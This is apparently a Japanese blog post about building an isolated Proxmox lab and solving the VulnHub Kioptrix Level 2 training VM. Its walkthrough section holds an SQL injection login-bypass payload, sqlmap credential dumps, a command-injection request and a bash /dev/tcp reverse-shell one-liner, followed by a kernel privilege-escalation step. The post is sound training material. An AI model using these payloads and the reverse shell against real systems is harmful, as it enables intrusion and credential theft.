0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ProxmoxでVulnHub(VMDK/VMX)を取り込んでセキュリティ研修環境を構築してみた

0
Last updated at Posted at 2026-07-21

はじめに

VulnHubのKioptrixは、SQLインジェクションからコマンドインジェクション、権限昇格までを一通り体験できる定番の教材です。この記事では実際にKioptrix: Level 1.1 (#2)をProxmox上に構築し、攻略した過程をまとめます。

あわせて、VulnHubのような古いVMware形式の教材をProxmoxで動かす際に実際に詰まった点(VM取り込み、VXLAN zone上でのDHCP)も記録しています。

以下はVulnHub公式が要求する隔離ネットワーク内でのみ実施しており、この記事の主眼は攻撃手法そのものではなく、そうした検証を安全に隔離実施できる環境構築にあります。


VulnHubは「隔離ネットワークで使うこと」が公式に要求されている

VulnHubで配布される教材は、意図的に脆弱性を含んだVMです。
VulnHubの公式ドキュメント Setting Up A Local Lab / Network には、ラボのネットワーク要件として明確にこう記されています。

Isolate the lab from any existing machines on the network.

つまり、VulnHubの教材を既存ネットワーク上のマシンから隔離することは、ベストプラクティスではなく 前提条件 です。同ドキュメントでは、隔離しない場合のリスクとして、脆弱なVMが乗っ取られた際にそのVMを踏み台に既存ネットワーク内の他デバイスへ波及する可能性も指摘されています。

今回は、Proxmox SDNのVXLAN zone(vnetpj05, 172.16.20.0/24)にKioptrixを閉じ込めて検証しました。

VulnHubの教材を複数チーム・複数用途で扱うとなると、隔離ネットワークを都度手作業で作るのはそれなりに手間です。そこで今回はProxmox VE上で動くOSSの構築自動化ツールMSL Setupを使い、VXLAN zoneによるテナントごとの隔離ネットワークと、その先で必要になるVPNアクセスを自動で組み立てています。この記事では、そのMSL Setupで構築した環境の上でKioptrixを動かしています。


VXLAN zone上でDHCPが必要になった理由

VulnHubの教材の中にはDHCP前提のものが少なくありません。しかもVulnHub提供VMの多くはSSHログインの口が用意されておらず、内部ユーザ名すら分からないためコンフィグの修正ができません。

さらにProxmoxのDHCP機能は執筆時点(v9.2.4)ではSimple zoneのみで動作し、VXLAN zoneでは自分でDHCPを用意する必要があります。

そこで使ったのが、MSL Setup v2.1.0以降に搭載された msldhcp コマンドです。

msldhcp

対話形式でVNetとVMIDを選択するだけで、そのテナント専用のVXLAN zone上にDHCP CTを構築できます。非対話でも使えます。

msldhcp --vmid 5100 --vnet vnetpj05

DHCP配布レンジは Datacenter > SDN > VNets > (対象VNet) > Subnets > DHCP Ranges で確認・変更でき、修正はSDN > Applyで即座にCTへ反映されます。あらかじめハーデニングされており、パラメータで指定しない限りユーザ作成も行われません。CTはテナントごとに要否に応じて作成・削除できます。

軽量さも実用上ありがたい点で、CT1個あたりメモリ20MB程度、ディスク500MB程度で済みます。

セキュリティ研修のように同じ教材を複数チームに配る場面では、DHCPを毎回手作業で用意するのはかなりしんどいので、この反復作業が軽くなるのは地味に効きます。

VMware VMをProxmoxへ持っていく

VulnHubで配布されている教材は、VMware向けの VMX + VMDK 形式で提供されているものが多くあります。この部分はすでに優れたツールがいくつも存在しています。

方法 向いているケース
Proxmox Import Wizard ESXiホストが稼働している場合。Proxmox VE 8.2以降ではGUIからESXi上のVMを直接インポートできる。
qm importovf OVF形式でエクスポート済みのVMを取り込む場合。
qm disk import ディスクのみを取り込む場合。
qemu-img convert ディスク形式だけ変換したい場合。
virt-v2v オフラインのVMX + VMDKをそのままProxmoxへ移行したい場合。

今回はvmx2pveというLLMに作ってもらった簡易スクリプトで済ませました。後で分かりましたが、汎用的には virt-v2v が定番のようなので、そちらを利用することをお勧めします。
vmx2pveは、汎用性がないので、一応最後に載せておきます。
vmx2pveは、実行すると.vmxファイルを参考にproxmoxの設定を生成してくれるツールになってます。

実際の取り込みは以下の流れです。

qemu-img info ./CentOs4.5.vmdk
vmx2pve-plan.sh CentOs4.5.vmx 450 local-lvm vnetpj05

生成された設定を確認してから実行します。ただ正直確認と言っても、別にレビューできるわけでもなくただただ表示されたコマンドを実行しました。

Usage: vmx2pve-plan.sh <移行元のvmxファイル名> <作成するVM ID> <接続するブリッジ名>

実行すると以下のように出力されるので、そのままコピペでターミナルに貼り付けてコマンド実行します。

qm create 450 \
  --name "Kioptrix-Level-2" \
  --memory 128 \
  --cores 1 \
  --sockets 1 \
  --ostype l26 \
  --bios seabios \
  --machine pc \
  --vga std

qm disk import 450 "/root/Kioptrix Level 2/CentOs4.5.vmdk" local-lvm

DISK=$(qm config 450 | sed -n 's/^unused0: //p')
qm set 450 --ide0 "$DISK"
qm set 450 --boot order=ide0
qm set 450 --net0 e1000=00:0c:29:53:19:4c,bridge=vnetpj05

実施に起動するとVM内のマシン構成が変わるので、何度かやり直しました。
ですので、起動前にスナップショットを取っておくことをお勧めします。

qm snapshot 450 before-first-boot
qm start 450

初回起動時、ハードウェア変更を検知してreconfigureを促されるので、コンソールからconfigureを選択します。NICも同様です。なお、新規NICが発見された場合は、NICのアドレス取得方法も再設定が必要ですが、ここは上述の通りDHCPサーバを建てたのでDHCPで問題ありません。

攻撃対象のVM起動時にsendmail等のサービス起動で止まる場合は、DHCPで配布しているDNSアドレスが到達不能の可能性が高いです。
その場合は以下のコマンドで、DHCPサーバのCTからDNSに通信できるか試してみた方が良いです。

pct exec <VMID> -- nslookup www.google.com <DNS IP>

正しいDNSが判ったら、DHCP用CTは一旦shutdownしCTごと削除し、再度msldhcp --dns-server <DNS IP>で構築しなおしてみましょう。
(このように--dns-serverで明示的にDNSを指定することもできます)

Kali Linuxを同じ隔離ネットワークに立てる

攻撃側の足場として、Kali LinuxもKioptrixと同じVXLAN zone(vnetpj05, 172.16.20.0/24)上に立てます。ここから先のnetdiscovernmapsqlmapなどのコマンドは、すべてこのKali Linux上から実行しています。

Kaliは通常通りインストールし、固定IPを振っています。コマンドラインの結果をキャプチャしながら進める都合上、DHCPだとIPが変わって面倒なので、今回は172.16.20.99/24を割り当てました。

インストール後、SSHでの作業用にopenssh-serverを有効化しておくと後が楽です。

sudo apt update
sudo apt install -y openssh-server
sudo systemctl enable --now ssh

これで、同じ隔離ネットワーク上にターゲット(Kioptrix, 172.16.20.4)と攻撃側(Kali, 172.16.20.99)が揃いました。ここから実際の攻略に入ります。


稼働ホストの特定

Kali linux上で以下のコマンドを投入し、ターゲットVMのIPを特定します。

sudo netdiscover -r 172.16.20.0/24
 IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 172.16.20.4    00:0c:29:53:19:4c      1      42  VMware, Inc.
 172.16.20.253  bc:24:11:26:23:3a      1      42  Proxmox Server Solutions GmbH

172.16.20.4 がターゲットのKioptrixです。


ポートスキャンとサービス特定

nmap -Pn -sS -sV -p- 172.16.20.4
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
919/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)

古いApache/PHP/MySQLの組み合わせで、しかもMySQLが直接開いています。80番と3306番の組み合わせは、認証をMySQLに依存したWebアプリを疑う典型的なパターンです。


SQLインジェクションによる認証回避

curl http://172.16.20.4 でトップページを見ると、単純なユーザ名/パスワードのログインフォームでした。

<form method="post" name="frmLogin" id="frmLogin" action="index.php">
  ...
  <input name="uname" type="text">
  <input name="psw" type="password">
  ...

MySQLでユーザ認証を行っている可能性を踏まえ、「SQLインジェクション(CWE-89: Improper Neutralization of Special Elements used in an SQL Command)」による「認証回避(CWE-592: Authentication Bypass Issues)」を試します。

Username: ' or 1=1--
Password: ' or 1=1--

これでログインを突破できました。


sqlmapによるデータベース列挙

手作業のペイロードで突破できたので、続けてsqlmapで裏を取ります。

sqlmap -u "http://172.16.20.4/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" --level=5 --risk=3

boolean-basedとtime-basedの両方でインジェクションポイントが確認され、バックエンドはMySQL < 5.0と判定されました。テーブルusers、カラムid, username, passwordまで列挙できたので、ダンプします。

sqlmap -u "http://172.16.20.4/index.php" --dbms=MySQL --dump --data "uname=test&psw=pass" -D webapp -T users -C 'id,username,password'
Database: webapp
Table: users
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | admin    | 5afac8d85f |
| 2  | john     | 66lajGGbla |
+----+----------+------------+

コマンドインジェクションでコマンド実行

ログイン後の管理コンソールに、pingを打てる機能がありました。

curl -i -sS -c cookies.txt -b cookies.txt \
  -X POST "http://172.16.20.4/pingit.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'ip=127.0.0.1;whoami;uname -a' \
  --data-urlencode 'submit=submit'
apache
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

セミコロンで区切ったコマンドがそのまま実行されました。典型的なコマンドインジェクション(CWE-78)です。


リバースシェルの取得

nc -lvp 8080

別ターミナルで:

curl -i -sS -c cookies.txt -b cookies.txt \
  -X POST "http://172.16.20.4/pingit.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'ip=127.0.0.1;bash -i>& /dev/tcp/172.16.20.99/8080 0>&1' \
  --data-urlencode 'submit=submit'

nc側にシェルが返ってきます。

bash-3.00$ whoami
apache
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ cat /etc/redhat-release
CentOS release 4.5 (Final)

権限昇格

searchsploit CentOS 4.5
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'i... | linux_x86/local/9542.c

該当するローカル権限昇格exploitをコンパイルして実行します(エクスプロイトコードの掲載は割愛します)。

gcc 9542.c -o exploit
chmod 777 exploit
./exploit
sh-3.00# whoami
root

rootを取得できました。

MySQLの履歴からは平文のユーザ作成・パスワード変更の記録も残っていました。

grep "create user" /root/.mysql_history
grep "update user" /root/.mysql_history
create user 'john'@'localhost' identified by 'hiroshima';
update user set password = password('Ha56!blaKAbl') where user = 'admin';

パスワード管理をMySQLコマンド履歴に頼るのは、古い教材とはいえ実際の現場でも起こりがちな失敗です。


まとめ

Kioptrix Level 2は、SQLインジェクションによる認証回避からコマンドインジェクション、権限昇格まで、古典的だが今も現場で起こりうる脆弱性のパターンを一通り体験できる教材でした。

環境構築の面では、VMware形式のVMをProxmoxへ持っていくこと自体はvirt-v2v等の既存OSSで解決できますが、VXLAN zone上でのDHCP対応は自分で埋める必要がありました。特に研修のように同じ環境を複数チームに反復して配る場面では、この部分が地味に効いてきます。

VulnHubの教材は公式に隔離ネットワークでの利用が求められており、複数チームで同時に扱う場合はテナントごとに分離された隔離ネットワークが必要になります。この記事の検証環境は、Proxmox SDNとMSL Setupの組み合わせで構築しました。

今回はVulnHub教材1つの動作確認でしたが、隔離ネットワークが必要になる場面はVulnHub教材に限りません。DVWAのような単体の脆弱Webアプリ、GOADのようなActive Directory攻撃演習、CTFdで組むJeopardy形式のCTF、あるいはマルウェア動的解析のように検体を外部へ漏らさず動かしたい用途など、いずれも基本的には単一の隔離ネットワークで足ります。
ただし、これらを個人で1セット動かす段階から、複数チーム・複数受講者・複数顧客で同時並行に運用する段階に移ると話が変わります。チーム同士やアナリスト同士がお互いの環境を見えないようにする必要が出てくるためです。セキュリティ研修で複数チームが同時にGOADのADドメインを攻略する場合や、CTFで対戦チーム同士の環境を完全に分離したい場合、あるいは複数の顧客企業を同一基盤で扱う研修事業者などが、この段階に当たります。今回使ったMSL Setupのテナントごとの隔離ネットワークとVPNアクセスは、この段階になって初めて効いてくる仕組みです。

おまけ:Proxmoxで隔離環境をまとめて構築したい場合

この記事では隔離環境上でセキュリティ研修用教材を動かしてみました。

Proxmoxクラスタでの隔離環境構築については、MSL Setupとして以下の記事にまとめています。

参考

cat > vmx2pve-plan.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail

usage() {
  cat <<USAGE
Usage:
  $0 <vmx-file> <vmid> <storage> [bridge]

Example:
  $0 CentOs4.5.vmx 450 local-lvm vmbr1
  $0 CentOs4.5.vmx 450 rbd vnetpj05

This script only prints qm commands. It does not execute them.
USAGE
}

if [ $# -lt 3 ]; then
  usage
  exit 1
fi

VMX="$1"
VMID="$2"
STORAGE="$3"
BRIDGE="${4:-}"

if [ ! -f "$VMX" ]; then
  echo "ERROR: VMX file not found: $VMX" >&2
  exit 1
fi

VMX_DIR="$(cd "$(dirname "$VMX")" && pwd)"

get_vmx() {
  local key="$1"
  awk -v k="$key" '
    BEGIN { FS="=" }
    {
      line=$0
      sub(/\r$/, "", line)
      split(line, a, "=")
      lhs=a[1]
      sub(/[[:space:]]+$/, "", lhs)
      sub(/^[[:space:]]+/, "", lhs)

      if (lhs == k) {
        rhs=line
        sub(/^[^=]*=/, "", rhs)
        sub(/^[[:space:]]+/, "", rhs)
        sub(/[[:space:]]+$/, "", rhs)
        sub(/^"/, "", rhs)
        sub(/"$/, "", rhs)
        print rhs
        exit
      }
    }
  ' "$VMX"
}

NAME="$(get_vmx displayName)"
MEMORY="$(get_vmx memsize)"
VCPUS="$(get_vmx numvcpus)"
GUESTOS="$(get_vmx guestOS)"
FIRMWARE="$(get_vmx firmware)"
ETH_PRESENT="$(get_vmx ethernet0.present)"
ETH_DEV="$(get_vmx ethernet0.virtualDev)"
ETH_MAC="$(get_vmx ethernet0.generatedAddress)"
ETH_NETWORK="$(get_vmx ethernet0.networkName)"

NAME="${NAME:-imported-vmx-$VMID}"
MEMORY="${MEMORY:-512}"
VCPUS="${VCPUS:-1}"
GUESTOS="${GUESTOS:-other}"

PVE_NAME="$(echo "$NAME" | tr ' ' '-' | tr -cd 'A-Za-z0-9_.-')"
[ -n "$PVE_NAME" ] || PVE_NAME="imported-vmx-$VMID"

case "$GUESTOS" in
  redhat|rhel*|centos*|otherlinux|linux)
    OSTYPE="l26"
    ;;
  win*|windows*)
    OSTYPE="win10"
    ;;
  *)
    OSTYPE="l26"
    ;;
esac

if [ "$FIRMWARE" = "efi" ]; then
  BIOS="ovmf"
else
  BIOS="seabios"
fi

DISK_KEY=""
DISK_FILE=""
PVE_BUS=""
SCSIHW=""

# First pass: only present=TRUE disks.
for dev in ide0:0 ide0:1 ide1:0 ide1:1 scsi0:0 scsi0:1 scsi1:0 scsi1:1 sata0:0 sata0:1; do
  present="$(get_vmx "$dev.present")"
  file="$(get_vmx "$dev.fileName")"

  if [ "$present" = "TRUE" ] && [ -n "$file" ]; then
    # Skip CD-ROM images as boot disk candidates.
    dtype="$(get_vmx "$dev.deviceType")"
    if echo "$dtype" | grep -qi 'cdrom'; then
      continue
    fi

    DISK_KEY="$dev"
    DISK_FILE="$file"

    case "$dev" in
      ide*)  PVE_BUS="ide0" ;;
      sata*) PVE_BUS="sata0" ;;
      scsi*)
        PVE_BUS="scsi0"
        scsidev="$(get_vmx scsi0.virtualDev)"
        case "$scsidev" in
          lsilogic|lsilogic-sas) SCSIHW="lsi" ;;
          pvscsi)               SCSIHW="pvscsi" ;;
          buslogic)             SCSIHW="lsi" ;;
          *)                    SCSIHW="lsi" ;;
        esac
        ;;
    esac
    break
  fi
done

# Fallback: fileName exists but present flag is missing.
# Do not use entries with present=FALSE.
if [ -z "$DISK_FILE" ]; then
  for dev in ide0:0 ide0:1 scsi0:0 scsi0:1 sata0:0 sata0:1; do
    present="$(get_vmx "$dev.present")"
    file="$(get_vmx "$dev.fileName")"
    dtype="$(get_vmx "$dev.deviceType")"

    if [ "$present" != "FALSE" ] && [ -n "$file" ] && ! echo "$dtype" | grep -qi 'cdrom'; then
      DISK_KEY="$dev"
      DISK_FILE="$file"
      case "$dev" in
        ide*)  PVE_BUS="ide0" ;;
        sata*) PVE_BUS="sata0" ;;
        scsi*) PVE_BUS="scsi0"; SCSIHW="lsi" ;;
      esac
      break
    fi
  done
fi

if [ -z "$DISK_FILE" ]; then
  echo "ERROR: No present disk found in VMX." >&2
  echo >&2
  echo "Debug disk-like entries:" >&2
  grep -Ei '^(ide|scsi|sata)[0-9]+:[0-9]+\.(present|fileName|deviceType)' "$VMX" >&2 || true
  exit 1
fi

# Resolve disk path.
DISK_CLEAN="${DISK_FILE//\\//}"
DISK_BASENAME="$(basename "$DISK_CLEAN")"

if [ -f "$VMX_DIR/$DISK_FILE" ]; then
  DISK_PATH="$VMX_DIR/$DISK_FILE"
elif [ -f "$VMX_DIR/$DISK_BASENAME" ]; then
  DISK_PATH="$VMX_DIR/$DISK_BASENAME"
else
  DISK_PATH="$VMX_DIR/$DISK_BASENAME"
fi

case "${ETH_DEV:-}" in
  e1000|e1000e) NET_MODEL="e1000" ;;
  vmxnet3)      NET_MODEL="vmxnet3" ;;
  vlance)       NET_MODEL="rtl8139" ;;
  *)            NET_MODEL="e1000" ;;
esac

cat <<PLAN
# Source VMX summary
#   VMX file       : $VMX
#   displayName    : $NAME
#   guestOS        : $GUESTOS
#   memory         : ${MEMORY} MB
#   vcpus          : $VCPUS
#   firmware       : ${FIRMWARE:-BIOS/SeaBIOS assumed}
#   disk key       : $DISK_KEY
#   disk file      : $DISK_FILE
#   resolved disk  : $DISK_PATH
#   ethernet0      : ${ETH_PRESENT:-FALSE}
#   eth virtualDev : ${ETH_DEV:-not specified; e1000 assumed}
#   eth networkName: ${ETH_NETWORK:-not specified}
#   eth MAC        : ${ETH_MAC:-not specified}
#
# Generated Proxmox plan
# Review before executing.

qm create $VMID \\
  --name "$PVE_NAME" \\
  --memory $MEMORY \\
  --cores $VCPUS \\
  --sockets 1 \\
  --ostype $OSTYPE \\
  --bios $BIOS \\
  --machine pc \\
  --vga std
PLAN

if [ -n "$SCSIHW" ]; then
  echo
  echo "qm set $VMID --scsihw $SCSIHW"
fi

cat <<PLAN

qm disk import $VMID "$DISK_PATH" $STORAGE

# After import, check the generated unused disk:
qm config $VMID

# Then attach the imported disk.
# Usually it appears as unused0. This command auto-picks unused0:
DISK=\\\$(qm config $VMID | sed -n 's/^unused0: //p')
qm set $VMID --$PVE_BUS "\\\$DISK"
qm set $VMID --boot order=$PVE_BUS
PLAN

if [ "$ETH_PRESENT" = "TRUE" ]; then
  if [ -n "$BRIDGE" ]; then
    if [ -n "$ETH_MAC" ]; then
      cat <<PLAN

# Network adapter from VMX
# VMX networkName was "$ETH_NETWORK"; using Proxmox bridge/VNet "$BRIDGE".
qm set $VMID --net0 $NET_MODEL=$ETH_MAC,bridge=$BRIDGE
PLAN
    else
      cat <<PLAN

# Network adapter from VMX
# VMX networkName was "$ETH_NETWORK"; using Proxmox bridge/VNet "$BRIDGE".
qm set $VMID --net0 $NET_MODEL,bridge=$BRIDGE
PLAN
    fi
  else
    cat <<PLAN

# ethernet0.present = TRUE, but no bridge was given.
# Add network later, preferably to an isolated bridge/VNet:
# qm set $VMID --net0 $NET_MODEL,bridge=vnetpj05
PLAN
  fi
fi

cat <<PLAN

# Start after review:
# qm start $VMID
PLAN
EOF

chmod +x vmx2pve-plan.sh
cp ./vmx2pve-plan.sh /usr/sbin
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?